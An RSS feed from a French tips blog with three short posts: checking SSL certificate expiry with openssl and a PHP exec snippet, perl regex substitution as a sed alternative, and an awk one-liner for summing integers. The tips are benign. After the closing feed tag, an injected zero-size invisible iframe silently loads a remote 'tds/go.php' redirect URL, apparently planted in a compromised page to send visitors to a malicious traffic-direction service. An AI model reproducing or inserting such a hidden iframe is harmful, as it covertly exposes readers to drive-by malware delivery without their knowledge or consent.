<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cyril - Mes astuces &#187; scripts rapides</title>
	<atom:link href="http://blog.cyril.me/category/scripts-rapides/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.cyril.me</link>
	<description>Des astuces sur un peu de tout : l&#039;iPhone, Gentoo, la Wii, ...</description>
	<lastBuildDate>Thu, 02 Feb 2012 18:43:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Openssl et les tests sur les certificats</title>
		<link>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/</link>
		<comments>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/#comments</comments>
		<pubDate>Fri, 13 May 2011 19:18:07 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[scripts rapides]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=552</guid>
		<description><![CDATA[Voici un petit moyen de tester si un certificat ssl est valide, et s&#8217;il le restera encore pendant un certain temps&#8230; Openssl s_client et openssl x509 Openssl donne deux outils qui vont nous servir. 1. Le premier permet de se connecter à un serveur pour envoyer des requêtes openssl s_client -connect www.openssl.org:443 Cette commande va [...]]]></description>
			<content:encoded><![CDATA[<p>Voici un petit moyen de tester si un certificat ssl est valide, et s&#8217;il le restera encore pendant un certain temps&#8230;</p>
<h3>Openssl s_client et openssl x509</h3>
<p>Openssl donne deux outils qui vont nous servir.</p>
<p>1. Le premier permet de se connecter à un serveur pour envoyer des requêtes</p>
<pre>openssl s_client -connect www.openssl.org:443</pre>
<p>Cette commande va se connecter au server www.openssl.org sur le port 443 en utilisant le protocole SSL. Vous pourrez ensuite communiquer avec le serveur en HTTP :</p>
<pre>GET / HTTP/1.0
Host : www.openssl.org</pre>
<p>et le serveur va vous renvoyer la page. On peut aussi utiliser cette technique sur d&#8217;autres ports et d&#8217;autres protocoles, comme pour le SMTPs, le POPs, etc.</p>
<p>2. Le deuxième permet d&#8217;avoir des informations sur le certificat : est-il valide ? Quelle est sa date d&#8217;expiration ? Il suffit de piper la première commande avec la deuxième :</p>
<pre>echo | openssl s_client -connect www.openssl.org:443 | openssl x509 -noout -enddate</pre>
<h3>Quelques astuces avec openssl</h3>
<ul>
<li>Si openssl vous sort qu&#8217;un certificat dans la chaîne n&#8217;est pas valide, donnez-lui le chemin vers le dossier contenant les certificats racines, par exemple <code>-CApath /etc/ssl/certs</code></li>
<li>Si vous voulez éviter d&#8217;avoir les erreurs de la première commande en sortie, envoyez-les vers /dev/null : <code>openssl s_client -connect www.openssl.org:443 2&gt; /dev/null</code></li>
<li>Si vous voulez connaitres les différentes options de openssl s_client ou de openssl x509, essayez <code>man ssl-s_client</code> ou <code>man ssl-x509</code></li>
</ul>
<h3>Petit bonus : le script PHP qui teste si un certificat expire bientôt</h3>
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1">$args = <span class="st0">'www.openssl.org:443'</span>;</div></li>
<li class="li1"><div class="de1">$command =</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="st0">'date +%s -d &quot;$(LANG=C openssl s_client -connect '</span></div></li>
<li class="li1"><div class="de1">&nbsp; .<span class="me1">escapeshellarg</span><span class="br0">&#40;</span>$args<span class="br0">&#41;</span></div></li>
<li class="li2"><div class="de2">&nbsp; .<span class="st0">' -CApath /etc/ssl/certs/ &lt; /dev/null 2&gt;/dev/null | openssl x509 -noout -text -enddate | tail -n1 | cut -d= -f2)&quot;'</span>;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">exec<span class="br0">&#40;</span>$command, $output<span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">$time = array_shift<span class="br0">&#40;</span>$output<span class="br0">&#41;</span>;</div></li>
<li class="li2"><div class="de2"><span class="kw1">if</span><span class="br0">&#40;</span>!is_numeric<span class="br0">&#40;</span>$time<span class="br0">&#41;</span> || $time == <span class="nu0">0</span><span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// Erreur : impossible de tester la validité du certificat : pourquoi ?</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1"><span class="kw1">else</span></div></li>
<li class="li2"><div class="de2"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// On va avoir le nombre de jour restant</span></div></li>
<li class="li1"><div class="de1">&nbsp; $nDaysLeft = floor<span class="br0">&#40;</span><span class="br0">&#40;</span>$time - time<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>/<span class="nu0">86400</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li></ol></div>
<p><em>Articles sources</em></p>
<p>Tester la date de fin d&#8217;un certificat : <a href="http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html">http://www.brandonhutchinson.com/When_does_my_certificate_expire%3F.html</a><br />
Tester la validité du certificat avec les certificats racines : <a href="http://stackoverflow.com/questions/4103472/ssl-handshake-fails-with-a-verisign-chain-certificate-that-contains-two-ca-si">http://stackoverflow.com/questions/4103472/ssl-handshake-fails-with-a-verisign-chain-certificate-that-contains-two-ca-si</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2011/05/openssl-tests-sur-les-certificats/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Expressions régulières avec perl comme avec sed</title>
		<link>http://blog.cyril.me/2010/09/expressions-regulieres-perl-sed/</link>
		<comments>http://blog.cyril.me/2010/09/expressions-regulieres-perl-sed/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 17:46:53 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[perl]]></category>
		<category><![CDATA[scripts rapides]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[regexps]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=426</guid>
		<description><![CDATA[L&#8217;astuce du jour : voici comment faire des modifications de contenu en pipe ou sur des fichiers comme avec sed, mais avec la puissance des expressions régulières de perl. En pipe (y en a marre des foo/bar !) : perl -pe 'undef $/; s/Truc/Machin/i;' Avec des fichiers : perl -pe 'undef $/; s/Truc/Machin/i;' -i fichier [...]]]></description>
			<content:encoded><![CDATA[<p>L&#8217;astuce du jour : voici comment faire des modifications de contenu en pipe ou sur des fichiers comme avec sed, mais avec la puissance des expressions régulières de perl.</p>
<p>En pipe (y en a marre des foo/bar !) :<br />
<code>perl -pe 'undef $/; s/Truc/Machin/i;'</code></p>
<p>Avec des fichiers :<br />
<code>perl -pe 'undef $/; s/Truc/Machin/i;' -i fichier</code></p>
<h3>Exemple avec wget et un feed xml</h3>
<p>Pour récupérer la date de dernière mise à jour d&#8217;un flux RSS :<br />
<code>wget -q -O - http://blog.cyril.me/feed/ | grep lastB | perl -pe 'undef $/; s/.*&gt;(.*?)&lt;.*/\1/'</code></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/09/expressions-regulieres-perl-sed/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Faire la somme d&#8217;entiers en mode console</title>
		<link>http://blog.cyril.me/2009/10/somme-nombres-entiers-console-stdin/</link>
		<comments>http://blog.cyril.me/2009/10/somme-nombres-entiers-console-stdin/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 18:18:59 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[scripts rapides]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=140</guid>
		<description><![CDATA[Vous voulez faire la somme d&#8217;entiers sur votre console ? Voici la commande à utiliser : awk 'BEGIN{sum=0} {sum+=$1} END{print sum}']]></description>
			<content:encoded><![CDATA[<p>Vous voulez faire la somme d&#8217;entiers sur votre console ?<br />
Voici la commande à utiliser :<br />
<code>awk 'BEGIN{sum=0} {sum+=$1} END{print sum}'</code></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2009/10/somme-nombres-entiers-console-stdin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
